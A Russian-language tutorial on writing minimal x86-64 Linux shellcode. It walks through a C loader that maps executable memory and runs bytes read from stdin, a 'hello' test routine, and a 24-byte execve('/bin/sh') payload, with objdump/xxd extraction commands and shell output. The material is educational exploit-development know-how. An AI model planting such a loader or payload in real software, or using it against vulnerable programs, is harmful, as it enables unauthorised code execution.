Как написать простой shellcode

1 Как написать простой shellcode
Цель:
- Написать на языке
assembler
программу, которая запускает shell оболочку. - Написать на языке
c
программу, которая читаетshellcode
из входного потока и выполняет этот код.
2 Программа для исполнение шел-кода
С помощью mmap
подготовим область памяти, в которую будет записан исполняемый код:
void *exec_mem = mmap(NULL, code_size,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (exec_mem == MAP_FAILED) {
perror("mmap");
return 1;
}
Преобразуем указатель на память к указателю на функцию и выполним эту функцию.
В момент запуска фкнции управление будет передано шел-коду.
int (*func)() = (int (*)())exec_mem;
func();
Тут нет ничего сложного. Самое главное разобраться с функцией mmap
и ее аргументами.
Весь код:
#include <stdint.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
void print_hex_dump(const uint8_t *data, size_t size) {
printf("Code dump (%zu bytes):\n", size);
for (size_t i = 0; i < size; i++) {
printf("%02x ", data[i]);
if ((i + 1) % 16 == 0) printf("\n");
}
printf("\n");
}
int main() {
const size_t code_size = 1024;
void *exec_mem = mmap(NULL, code_size,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (exec_mem == MAP_FAILED) {
perror("mmap");
return 1;
}
printf("Input shellcode (max %zu bytes):\n", code_size);
ssize_t bytes_read = read(STDIN_FILENO, exec_mem, code_size);
if (bytes_read <= 0) {
perror("read failed");
munmap(exec_mem, code_size);
return 1;
}
print_hex_dump(exec_mem, bytes_read);
int (*func)() = (int (*)())exec_mem;
func();
munmap(exec_mem, code_size);
return 0;
}
3 Пишем программу на ассемблере
Сначала напишем базовую программу, которая просто выводит строку hello
на экран.
Цель - убедиться, что shellcode
:
- запускается.
- выполняет свою логику. В данном случае вывод строки на экран.
- возвращает управление вызывающей программе.
- не ломает программу.
Программа состоит из:
- преамбула.
- сохранение данных на стеке.
- выполнение системного вызова
write
. - выставление нулевого кода возврата.
- эпилог.
Код:
section .text
fun1:
push rbp
mov rbp, rsp
pop rbp
mov rax, 0x00000a6f6c6c6568 ; 'hello'
push rax
mov rax, 1 ; sys_write
mov rdi, 1 ; stdout
mov rsi, rsp ; buf
mov rdx, 6 ; count
syscall
mov rax, 0
mov rsp, rbp
pop rbp
ret
4 Запускаем программу на ассемблере
Собираем:
nasm -f elf64 -o shellcode.o shellcode.asm
gcc -Wall -Wextra ./main.c -o app
Смотрим во что скомпилировался ассемблерный код:
root@47f7f8988dc6:/shellcode# objdump -d shellcode.o | tail -n +8
0: 55 push %rbp
1: 48 89 e5 mov %rsp,%rbp
4: 5d pop %rbp
5: 48 b8 68 65 6c 6c 6f movabs $0xa6f6c6c6568,%rax
c: 0a 00 00
f: 50 push %rax
10: b8 01 00 00 00 mov $0x1,%eax
15: bf 01 00 00 00 mov $0x1,%edi
1a: 48 89 e6 mov %rsp,%rsi
1d: ba 06 00 00 00 mov $0x6,%edx
22: 0f 05 syscall
24: b8 00 00 00 00 mov $0x0,%eax
29: 48 89 ec mov %rbp,%rsp
2c: 5d pop %rbp
2d: c3 ret
Нам нужен только дизассемблированный машинный код как набор байтов.
Чтобы минимизировать ручные действия используем утилиту xxd
для преобразования вывода утилиты objdump
в набор байтов.
Проверим, что в выводе присутствуют все байты и нет ничего лишнего:
root@47f7f8988dc6:/shellcode# objdump -d shellcode.o --no-addresses --disassemble=fun1 | tail -n +8 | xxd -p -r | xxd
00000000: 5548 89e5 5d48 b868 656c 6c6f 0a00 0050 UH..]H.hello...P
00000010: b801 0000 00bf 0100 0000 4889 e6ba 0600 ..........H.....
00000020: 0000 0f05 b800 0000 0048 89ec 5dc3 .........H..].
Запускаем приложение и передаем ему на вход шел-код:
root@47f7f8988dc6:/shellcode# (objdump -d shellcode.o --no-addresses --disassemble=fun1 | tail -n +8 | xxd -p -r) | ./app
Input shellcode (max 1024 bytes):
Code dump (46 bytes):
55 48 89 e5 5d 48 b8 68 65 6c 6c 6f 0a 00 00 50
b8 01 00 00 00 bf 01 00 00 00 48 89 e6 ba 06 00
00 00 0f 05 b8 00 00 00 00 48 89 ec 5d c3
hello
Видим, что на экране отобразилась надпись hello
, значит все сделано правильно.
В случае ошибок в ассемблерном коде чаще всего возникает Segmentation fault
.
5 Shellcode
Теперь нужно запустить оболочку shell из ассемблерного кода.
Для этого будем использовать системный вызов execve
.
В качестве параметра нужно будет указать полный путь до шела, например /bin/sh
.
По аналогии строку будем размещать на стеке.
Преамбулу, эпилог, выставление кода возврата уберем за ненадобностью.
Полученный код:
section .text
fun2:
mov rdi, 0x0068732f6e69622f ; '/bin/sh'
push rdi
mov rax, 59 ; sys_execve
mov rdi, rsp ; filename
xor rsi, rsi ; argv
xor rdx, rdx ; envp
syscall
Проверяем, что компилируется:
root@47f7f8988dc6:/shellcode# objdump -d shellcode.o --no-addresses --disassemble=fun2 | tail -n +8
48 bf 2f 62 69 6e 2f movabs $0x68732f6e69622f,%rdi
73 68 00
57 push %rdi
b0 3b mov $0x3b,%al
48 89 e7 mov %rsp,%rdi
48 31 f6 xor %rsi,%rsi
48 31 d2 xor %rdx,%rdx
0f 05 syscall
Проверяем корректность машинных инструкций:
root@47f7f8988dc6:/shellcode# objdump -d shellcode.o --no-addresses --disassemble=fun2 | tail -n +8 | xxd -p -r | xxd
00000000: 48bf 2f62 696e 2f73 6800 57b0 3b48 89e7 H./bin/sh.W.;H..
00000010: 4831 f648 31d2 0f05 H1.H1...
Проверяем, что shell запускается.
Выполним команду tty; ps -p $$
и убедимся, что запустилась новая shell
оболочка.
root@47f7f8988dc6:/shellcode# tty; ps -p $$
/dev/pts/0
PID TTY TIME CMD
1 pts/0 00:00:02 bash
root@47f7f8988dc6:/shellcode# (objdump -d shellcode.o --no-addresses --disassemble=fun2 | tail -n +8 | xxd -p -r; sleep 1; echo 'ps -p $$'; sleep 1) | ./app
Input shellcode (max 1024 bytes):
Code dump (24 bytes):
48 bf 2f 62 69 6e 2f 73 68 00 57 b0 3b 48 89 e7
48 31 f6 48 31 d2 0f 05
not a tty
PID TTY TIME CMD
10729 pts/0 00:00:00 sh
Отлично! Shellcode выполняет свое предназначение.
Получился очень компактным, всего 24 байта. В зависимости от внешних условий код можно легко подкорректировать.